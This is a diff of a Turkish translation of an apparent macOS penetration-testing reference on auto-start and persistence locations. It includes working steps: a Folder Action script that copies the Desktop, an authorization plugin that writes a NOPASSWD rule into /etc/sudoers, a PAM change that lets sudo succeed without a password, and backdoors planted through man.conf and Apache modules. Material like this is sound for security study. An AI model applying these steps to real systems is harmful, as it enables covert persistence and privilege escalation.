-* Root gereklidir
+* Kök izni gereklidir
* **Tetikleyici**: Belirtilen klasöre erişim
* **`~/Library/Scripts/Folder Action Scripts`**
* **Tetikleyici**: Belirtilen klasöre erişim
#### Açıklama ve Sömürü
-Klasör Eylemleri, bir klasördeki değişiklikler (örneğin öğeler eklemek, kaldırmak veya diğer eylemler gibi klasör penceresini açmak veya yeniden boyutlandırmak) tarafından otomatik olarak tetiklenen betiklerdir. Bu eylemler çeşitli görevler için kullanılabilir ve Finder UI veya terminal komutları kullanılarak tetiklenebilir.
+Klasör Eylemleri, bir klasördeki değişikliklerle otomatik olarak tetiklenen betiklerdir; öğeler eklenirken, kaldırılırken veya diğer eylemler gerçekleşirken veya klasör penceresinin açılması veya yeniden boyutlandırılması gibi diğer eylemlerle tetiklenirler. Bu eylemler çeşitli görevler için kullanılabilir ve Finder UI veya terminal komutları kullanılarak tetiklenebilirler.
Klasör Eylemleri kurmak için şu seçeneklere sahipsiniz:
@@ -758,7 +789,7 @@ Yukarıdaki betiği Klasör Eylemleri tarafından kullanılabilir hale getirmek
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
-Skript derlendikten sonra aşağıdaki komut dosyasını çalıştırarak Klasör İşlemlerini yapılandırın. Bu komut dosyası Klasör İşlemlerini genel olarak etkinleştirecek ve önceden derlenmiş olan skripti özel olarak Masaüstü klasörüne ekleyecektir.
+Derlemesi yapıldıktan sonra, aşağıdaki betiği çalıştırarak Klasör İşlemlerini ayarlayın. Bu betik, Klasör İşlemlerini genel olarak etkinleştirecek ve önceden derlenmiş betiği özel olarak Masaüstü klasörüne ekleyecektir.
```javascript
// Enabling and attaching Folder Action
var se = Application("System Events");
@@ -768,7 +799,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
-Ayarlama betiği aşağıdaki komutla çalıştırın:
+Ayar dosyasını şu şekilde çalıştırın:
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
@@ -787,16 +818,16 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
-Aşağıdaki komutla derleyin: `osacompile -l JavaScript -o klasör.scpt kaynak.js`
+Aşağıdaki komutla derleyin: `osacompile -l JavaScript -o folder.scpt source.js`
Taşıyın:
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
-Sonra, `Folder Actions Setup` uygulamasını açın, **izlemek istediğiniz klasörü seçin** ve sizin durumunuzda **`folder.scpt`**'yi seçin (benim durumumda buna output2.scp adını verdim):
+Ardından, `Folder Actions Setup` uygulamasını açın, **izlemek istediğiniz klasörü seçin** ve durumunuzda **`folder.scpt`**'yi seçin (benim durumumda ona output2.scp adını verdim):
-
+
Şimdi, eğer o klasörü **Finder** ile açarsanız, betiğiniz çalıştırılacaktır.
@@ -808,7 +839,7 @@ Bu yapılandırma, base64 formatında **`~/Library/Preferences/com.apple.FolderA
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2. Şimdi, ayarladığınız Klasör Eylemlerini **kaldırın**:
-
+
Şimdi boş bir ortama sahip olduğumuza göre
@@ -836,7 +867,7 @@ Yazı: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.gi
Dock'ta görünen tüm uygulamalar, plist içinde belirtilmiştir: **`~/Library/Preferences/com.apple.dock.plist`**
-Sadece şu komutla bir uygulama **eklemek mümkündür**:
+Sadece şu şekilde bir uygulama **eklemek mümkündür**:
{% code overflow="wrap" %}
```bash
@@ -920,9 +951,9 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbi
#### Açıklama ve Sömürü
-Kodunuzla bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz**](https://github.com/viktorstrate/color-picker-plus)) ve bir yapılandırıcı ekleyin (benzer şekilde [Ekran Koruyucu bölümünde](macos-auto-start-locations.md#screen-saver) olduğu gibi) ve paketi `~/Library/ColorPickers` dizinine kopyalayın.
+Kodunuzla birlikte bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz**](https://github.com/viktorstrate/color-picker-plus)) ve bir yapılandırıcı ekleyin (benzer şekilde [Ekran Koruyucu bölümünde](macos-auto-start-locations.md#screen-saver) olduğu gibi) ve paketi `~/Library/ColorPickers` dizinine kopyalayın.
-Sonra, renk seçicisi tetiklendiğinde sizin kodunuz da tetiklenmelidir.
+Sonra, renk seçicisi tetiklendiğinde sizin de tetiklenmeniz gerekmektedir.
Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu** olduğunu unutmayın: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
@@ -951,9 +982,9 @@ Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu*
#### Açıklama ve Sızma
-Bir Finder Senkronizasyon Uzantısı örneği olan bir uygulama [**burada bulunabilir**](https://github.com/D00MFist/InSync).
+Bir Finder Senkronizasyon Uzantısı örneği içeren bir uygulama [**burada bulunabilir**](https://github.com/D00MFist/InSync).
-Uygulamalar `Finder Senkronizasyon Uzantıları`na sahip olabilir. Bu uzantı, çalıştırılacak bir uygulamanın içine gidecektir. Dahası, uzantının kodunu çalıştırabilmesi için **bazı geçerli Apple geliştirici sertifikalarıyla imzalanmış olması gerekir**, **kum havuzunda olması gerekir** (rahatlatılmış istisnalar eklenmiş olabilir) ve şuna benzer bir şeyle kaydedilmiş olması gerekir:
+Uygulamalar `Finder Senkronizasyon Uzantıları`na sahip olabilir. Bu uzantı, çalıştırılacak bir uygulamanın içine gidecektir. Dahası, uzantının kodunu çalıştırabilmesi için **bazı geçerli Apple geliştirici sertifikalarıyla imzalanmış olması gerekir**, **kum havuzunda olmalıdır** (rahatlatılmış istisnalar eklenmiş olabilir) ve şuna benzer bir şeyle kaydedilmiş olmalıdır:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@@ -961,7 +992,7 @@ pluginkit -e use -i com.example.InSync.InSync
### Ekran Koruyucu
Açıklama: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
-Açıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf5b)
+Açıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak genel bir uygulama kum havuzunda sonlanacaksınız
@@ -970,21 +1001,21 @@ Açıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https:
#### Konum
* `/System/Library/Screen Savers`
-* Kök erişimi gereklidir
-* **Tetik**: Ekran koruyucusunu seçin
+* Root gerekli
+* **Tetikleyici**: Ekran koruyucusunu seçin
* `/Library/Screen Savers`
-* Kök erişimi gereklidir
-* **Tetik**: Ekran koruyucusunu seçin
+* Root gerekli
+* **Tetikleyici**: Ekran koruyucusunu seçin
* `~/Library/Screen Savers`
-* **Tetik**: Ekran koruyucusunu seçin
+* **Tetikleyici**: Ekran koruyucusunu seçin
-
+
#### Açıklama ve Sömürü
-Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardından, örneğin aşağıdaki kodu günlükler oluşturmak için ekleyin.
+Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardından, örneğin aşağıdaki kodu kullanarak kodunuzu ekleyin.
-**Derleyin** ve `.saver` paketini **`~/Library/Screen Savers`** dizinine kopyalayın. Sonra, Ekran Koruyucu GUI'yi açın ve üzerine tıkladığınızda birçok günlük oluşturması gerektiğini göreceksiniz:
+**Derleyin** ve `.saver` paketini **`~/Library/Screen Savers`** dizinine kopyalayın. Sonra, Ekran Koruyucu GUI'yi açın ve üzerine tıkladığınızda birçok log oluşturmalıdır:
{% code overflow="wrap" %}
```bash
@@ -998,7 +1029,7 @@ Timestamp (process)[PID]
{% endcode %}
{% hint style="danger" %}
-Bu kodu yükleyen ikili dosyanın yetkilendirmeleri içinde (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksınız**.
+Bu kodu yükleyen ikili dosyanın ayrıcalıklarında (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksınız**.
{% endhint %}
Saver kodu:
@@ -1069,11 +1100,11 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
```
### Spotlight Eklentileri
-açıklama: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
+yazı: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak uygulama kum havuzunda sona ereceksiniz
-* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle)
+* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
* Kum havuzu çok sınırlı görünüyor
#### Konum
@@ -1093,13 +1124,13 @@ açıklama: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilb
#### Açıklama ve Sömürü
Spotlight, macOS'in yerleşik arama özelliğidir ve kullanıcılara **bilgisayarlarındaki verilere hızlı ve kapsamlı erişim** sağlamak amacıyla tasarlanmıştır.\
-Bu hızlı arama yeteneğini kolaylaştırmak için Spotlight, **özel bir veritabanı** tutar ve çoğu dosyayı **açarak bir dizin oluşturur**, böylece dosya adları ve içerikleri arasında hızlı aramalar yapılmasını sağlar.
+Bu hızlı arama yeteneğini kolaylaştırmak için Spotlight, **özel bir veritabanı** tutar ve çoğu dosyayı **ayıklamak suretiyle bir dizin oluşturur**, böylece dosya adları ve içerikleri üzerinden hızlı aramalar yapılabilir.
-Spotlight'ın temel mekanizması, 'mds' adlı merkezi bir süreci içerir, bu süreç **'meta veri sunucusu'** anlamına gelir. Bu süreç, tüm Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinleyen çeşitli bakım görevlerini yerine getiren birden fazla 'mdworker' cinayet işçisi bulunmaktadır (`ps -ef | grep mdworker`). Bu görevler, Spotlight içinde çeşitli dosya biçimlerindeki içeriği anlamasını ve dizinlemesini sağlayan Spotlight içe aktarıcı eklentileri veya **".mdimporter paketleri**" aracılığıyla mümkün hale getirilir.
+Spotlight'ın temel mekanizması, 'mds' adlı merkezi bir süreci içerir ve bu süreç, Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinlemek gibi çeşitli bakım görevlerini yerine getiren çeşitli 'mdworker' cinleri bulunmaktadır (`ps -ef | grep mdworker`). Bu görevler, Spotlight içinde çeşitli dosya biçimlerini anlamasını ve dizinlemesini sağlayan Spotlight içe aktarıcı eklentileri veya **".mdimporter paketleri**" aracılığıyla mümkün hale getirilir.
-Eklentiler veya **`.mdimporter`** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketlerin hangi **dosya türü ve uzantıları yönetebileceğini** belirtmeleri gerekir, bu şekilde Spotlight, belirtilen uzantıya sahip yeni bir dosya oluşturulduğunda onları kullanacaktır.
+Eklentiler veya **`.mdimporter`** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketler, hangi **dosya türü ve uzantıları yönetebileceklerini** belirtmelidir; bu şekilde, belirtilen uzantıya sahip yeni bir dosya oluşturulduğunda Spotlight onları kullanacaktır.
-Yüklenen **tüm `mdimporters`** bulunabilir çalıştırılarak:
+Yüklenmiş tüm `mdimporters`'ları **bulmak mümkündür:**
```bash
mdimport -L
Paths: id(501) (
@@ -1108,7 +1139,7 @@ Paths: id(501) (
"/System/Library/Spotlight/PDF.mdimporter",
[...]
```
-Ve örneğin **/Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanılır (uzantılar `.iba` ve `.book` dahil diğerleri):
+Ve örneğin **/Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanılır (`.iba` ve `.book` uzantıları arasında):
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
@@ -1145,15 +1176,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
```
{% hint style="danger" %}
-Başka `mdimporter`'ın Plist'ini kontrol ederseniz, **`UTTypeConformsTo`** girdisini bulamayabilirsiniz. Bu, yerleşik _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğu için uzantıları belirtmeye gerek duymaz.
+Başka `mdimporter`'ın Plist'ini kontrol ederseniz, **`UTTypeConformsTo`** girdisini bulamayabilirsiniz. Bu, yerleşik bir _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğu için uzantıları belirtmeye gerek duymaz.
Ayrıca, Sistem varsayılan eklentileri her zaman önceliklidir, bu nedenle bir saldırgan yalnızca Apple'ın kendi `mdimporters` tarafından dizinlenmeyen dosyalara erişebilir.
{% endhint %}
Kendi içe aktarıcınızı oluşturmak için bu projeye başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) ve ardından adı değiştirin, **`CFBundleDocumentTypes`**'ı değiştirin ve desteklemek istediğiniz uzantıları desteklemesi için **`UTImportedTypeDeclarations`** ekleyin ve bunları **`schema.xml`**'de yansıtın.\
-Sonra **`GetMetadataForFile`** işlevinin kodunu değiştirerek, işlenen uzantıya sahip bir dosya oluşturulduğunda payload'unuzu çalıştırabilirsiniz.
+Ardından, **`GetMetadataForFile`** işlevinin kodunu değiştirerek, işlenen uzantıya sahip bir dosya oluşturulduğunda payload'unuzu çalıştırabilirsiniz.
-Son olarak, yeni `.mdimporter`'ınızı oluşturun ve bir önceki konumlardan birine kopyalayın ve yüklendiğinde **günlükleri izleyerek** veya **`mdimport -L`** kontrol ederek yüklendiğinde kontrol edebilirsiniz.
+Son olarak, yeni `.mdimporter`'ınızı bir önceki konumlardan birine derleyin ve kopyalayın ve yüklendiğinde **günlükleri izleyerek** veya **`mdimport -L`** kontrol ederek kontrol edebilirsiniz.
### ~~Tercih Paneli~~
@@ -1165,7 +1196,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilb
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Belirli bir kullanıcı eylemi gerektirir
-* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle)
+* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konum
@@ -1173,12 +1204,14 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilb
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
-Açıklama: Bu artık çalışmıyor gibi görünmüyor.
+#### Açıklama
-## Root Kum Havuzu Atlama
+Bu artık çalışmıyor gibi görünmüyor.
+
+## Root Kum Havuzu Atlatma
{% hint style="success" %}
-Burada, **kum havuzu atlamak** için kullanışlı olan başlangıç konumlarını bulabilirsiniz, bu da sadece bir dosyaya **yazarak** basitçe bir şeyi **yürütmenizi sağlar** ve/veya diğer **garip koşullar gerektirirken** **root** olmanızı sağlar.
+Burada, **kum havuzu atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da sadece bir dosyaya **yazarak** basitçe bir şeyi **yürütmenizi sağlar** ve **root** olmanızı ve/veya diğer **garip koşulları gerektirir.**
{% endhint %}
### Periyodik
@@ -1187,18 +1220,20 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilb
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak root olmanız gerekiyor
-* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle)
+* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konum
* `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic`
* Root gereklidir
-* **Tetikleyici**: Zamanı geldiğinde
+* **Tetikleyici**: Zaman geldiğinde
* `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local`
* Root gereklidir
-* **Tetikleyici**: Zamanı geldiğinde
+* **Tetikleyici**: Zaman geldiğinde
-Açıklama ve Sömürü: Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*`'de yapılandırılmış **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/` dizininde depolanan betiklerin dosya sahibi olarak **yürütüldüğünü** unutmayın, bu nedenle bu, potansiyel bir ayrıcalık yükseltmesi için çalışmayacaktır.
+#### Açıklama ve Sömürü
+
+Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*`'de yapılandırılmış **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/`'de depolanan betikler dosya sahibi olarak **yürütülür**, bu nedenle bu, olası bir ayrıcalık yükseltmesi için çalışmayacaktır.
{% code overflow="wrap" %}
```bash
# Launch daemons that will execute the periodic scripts
@@ -1242,35 +1277,35 @@ monthly_local="/etc/monthly.local" # Local scripts
Eğer `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local` dosyalarından herhangi birini yazmayı başarırsanız, **er ya da geç yürütülecektir**.
{% hint style="warning" %}
-Periyodik betik, **betiğin sahibi olarak yürütülecektir**. Dolayısıyla, eğer betiğin sahibi bir düzenli kullanıcı ise, betik o kullanıcı olarak yürütülecektir (bu, ayrıcalık yükseltme saldırılarını engelleyebilir).
+Periyodik betik, **betiğin sahibi olarak yürütülecektir**. Dolayısıyla, eğer düzenli bir kullanıcı betiğin sahibiyse, betik o kullanıcı olarak yürütülecektir (bu, ayrıcalık yükseltme saldırılarını engelleyebilir).
{% endhint %}
### PAM
-Açıklama: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
-Açıklama: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
+Yazı: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
+Yazı: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
-* Ancak root olmanız gerekiyor
+* Ancak root olmanız gerekmektedir
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konum
-* Her zaman kök izin gereklidir
+* Her zaman kök gereklidir
#### Açıklama ve Sömürü
-PAM, macOS içinde kolay yürütmeden ziyade **süreklilik** ve kötü amaçlı yazılımlara odaklandığından, bu blog detaylı bir açıklama sunmayacak, **bu teknik hakkında daha iyi anlamak için açıklamaları okuyun**.
+PAM, macOS içinde kolay yürütmeden ziyade **kalıcılık** ve kötü amaçlı yazılımlara daha fazla odaklandığı için, bu blog detaylı bir açıklama sunmayacak, **bu teknik hakkında daha iyi anlamak için yazıları okuyun**.
PAM modüllerini kontrol etmek için:
```bash
ls -l /etc/pam.d
```
-Bir kalıcılık/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek çok kolaydır, başına şu satırı ekleyerek:
+Bir süreklilik/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek kolayca yapılabilir. Başlangıca şu satırı eklemek yeterlidir:
```bash
auth sufficient pam_permit.so
```
-Yani bu, şuna benzer bir şey gibi görünecek:
+Yani bu şöyle **görünecek**:
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
@@ -1284,7 +1319,7 @@ session required pam_permit.so
Ve dolayısıyla **`sudo` kullanma girişimi başarılı olacaktır**.
{% hint style="danger" %}
-Bu dizinin TCC tarafından korunduğunu unutmayın, bu nedenle kullanıcının erişim isteyen bir ileti alması muhtemeldir.
+Bu dizin TCC tarafından korunduğundan, kullanıcının erişim isteyen bir uyarı alması oldukça olasıdır.
{% endhint %}
### Yetkilendirme Eklentileri
@@ -1293,7 +1328,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilb
Açıklama: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
-* Ancak root olmanız ve ek yapılandırmalar yapmanız gerekiyor
+* Ancak root olmanız ve ek yapılandırmalar yapmanız gerekmektedir
* TCC atlatma: ???
#### Konum
@@ -1319,7 +1354,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
```
-**Bündeyi** yüklenmesi gereken konuma taşıyın:
+**Birleşimi** yüklenmesi gereken konuma taşıyın:
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
@@ -1342,7 +1377,7 @@ EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
-**`evaluate-mechanisms`** yetkilendirme çerçevesine dış bir mekanizmanın çağrılması gerekeceğini belirtecektir. Ayrıca, **`privileged`** root tarafından yürütülmesini sağlayacaktır.
+**`evaluate-mechanisms`** yetkilendirme çerçevesine dış bir mekanizmayı çağırması gerekeceğini belirtecektir. Ayrıca, **`privileged`** root tarafından yürütülmesini sağlayacaktır.
Şununla tetikleyin:
```bash
@@ -1364,9 +1399,9 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilb
* Root gerekli
* **`/private/etc/man.conf`**: Her man kullanıldığında
-#### Açıklama ve Sızma
+#### Açıklama ve Sömürü
-Yapılandırma dosyası **`/private/etc/man.conf`**, man belge dosyalarını açarken kullanılacak ikili betiği gösterir. Bu nedenle yürütülecek bir arka kapı belirlenebilir, böylece kullanıcı herhangi bir belgeyi okumak için man kullandığında bir arka kapı yürütülür.
+Yapılandırma dosyası **`/private/etc/man.conf`**, man belgelendirme dosyalarını açarken kullanılacak ikili betiği gösterir. Bu nedenle yürütülecek bir arka kapı belirlenebilir, böylece kullanıcı herhangi bir belgeyi okumak için man kullandığında bir arka kapı yürütülür.
Örneğin **`/private/etc/man.conf`** içinde ayarlanmış:
```
@@ -1384,7 +1419,7 @@ touch /tmp/manconf
**Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
-* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
+* Kum havuzunu atlamak için faydalı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak root olmanız ve apache'nin çalışıyor olması gerekmektedir
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
* Httpd'nin yetkilendirmeleri yok
@@ -1397,7 +1432,7 @@ touch /tmp/manconf
#### Açıklama ve Sızma
-`/etc/apache2/httpd.conf` dosyasında bir modülü yüklemesini belirtmek için şu gibi bir satır ekleyebilirsiniz:
+`/etc/apache2/httpd.conf` dosyasında bir modülü yüklemek için aşağıdaki gibi bir satır ekleyebilirsiniz:
{% code overflow="wrap" %}
```bash
@@ -1405,7 +1440,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
-Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek yapmanız gereken ya **geçerli bir Apple sertifikası ile imzalamak** ya da sisteme **yeni bir güvenilir sertifika eklemek** ve onunla **imzalamak**.
+Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek yapmanız gereken ya **geçerli bir Apple sertifikası ile imzalamak** ya da sisteme **yeni güvenilir bir sertifika eklemek** ve onunla **imzalamak**.
Ardından, gerektiğinde sunucunun başlatılacağından emin olmak için şunu çalıştırabilirsiniz:
```bash
@@ -1452,7 +1487,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
**StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` içinde bulunması gereken bir dizindir. Bu dizin oluşturulduğunda, içermesi gereken iki belirli dosya bulunmalıdır:
1. Bir **rc betiği**: Başlangıçta çalıştırılan bir kabuk betiği.
-2. Çeşitli yapılandırma ayarlarını içeren, özellikle `StartupParameters.plist` adında bir **plist dosyası**.
+2. **plist dosyası**, özellikle `StartupParameters.plist` adında, çeşitli yapılandırma ayarlarını içeren.
Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc betiğinin hem de `StartupParameters.plist` dosyasının doğru şekilde **StartupItem** dizini içine yerleştirildiğinden emin olun.
@@ -1476,7 +1511,7 @@ Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc
```
{% endtab %}
-{% tab title="superservisadi" %}
+{% tab title="superservisadı" %}
```bash
#!/bin/sh
. /etc/rc.common
@@ -1501,14 +1536,14 @@ RunService "$1"
### ~~emond~~
{% hint style="danger" %}
-Bu bileşeni macOS'ta bulamıyorum, daha fazla bilgi için yazıya bakın
+Bu bileşeni macOS'ta bulamıyorum, daha fazla bilgi için writeup'a bakın
{% endhint %}
-Yazı: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
+Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
-Apple tarafından tanıtılan **emond**, geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizmasıdır, ancak erişilebilir durumda kalmaktadır. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalıcılık yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafından fark edilmeyebilir.
+Apple tarafından tanıtılan **emond**, geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizmasıdır, ancak hala erişilebilir durumda. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalıcılık yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafından fark edilmeyebilir.
-Varlığından haberdar olanlar için, **emond**'un kötüye kullanımını tespit etmek kolaydır. Bu hizmet için sistem LaunchDaemon'ı, yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağıdaki komut kullanılabilir:
+Varlığından haberdar olanlar için, **emond**'un kötüye kullanımını tespit etmek kolaydır. Bu hizmetin sistem için LaunchDaemon'ı, yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağıdaki komut kullanılabilir:
```bash
ls -l /private/var/db/emondClients
```
@@ -1522,26 +1557,26 @@ Yazım: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.g
* Root gereklidir
* **Tetikleyici**: XQuartz ile
-#### Açıklama ve Sömürü
+#### Açıklama ve Sızma
XQuartz artık macOS'ta **kurulu değil**, bu yüzden daha fazla bilgi için yazıya bakın.
### ~~kext~~
{% hint style="danger" %}
-Kext'i yüklemek bile kök olarak çok karmaşıktır, bu yüzden bunu kum havuzlarından kaçmak veya kalıcılık için düşünmeyeceğim (bir açığınız yoksa)
+Kext'i yüklemek bile kök olarak çok karmaşıktır, bu nedenle bunu kum havuzlarından kaçmak veya kalıcılık için düşünmeyeceğim (sadece bir açığız varsa)
{% endhint %}
#### Konum
-Bir KEXT'i başlangıç öğesi olarak yüklemek için, aşağıdaki konumlardan birine **yüklü olması gerekir**:
+Bir KEXT'i başlangıç öğesi olarak yüklemek için aşağıdaki konumlardan birine **yüklü olması gerekir**:
* `/System/Library/Extensions`
-* OS X işletim sistemi içine yerleştirilmiş KEXT dosyaları.
+* OS X işletim sistemi tarafından derlenmiş KEXT dosyaları.
* `/Library/Extensions`
* 3. taraf yazılım tarafından yüklenen KEXT dosyaları
-Şu anda yüklenmiş kext dosyalarını listelemek için:
+Şu anda yüklenmiş kext dosyalarını listeleyebilirsiniz:
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
@@ -1549,7 +1584,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
-Daha fazla bilgi için [**çekirdek uzantıları kontrol etme bölümüne bakın**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
+Daha fazla bilgi için [**çekirdek uzantılarına bu bölüme bakın**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
### ~~amstoold~~
@@ -1562,7 +1597,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilb
#### Açıklama ve Sömürü
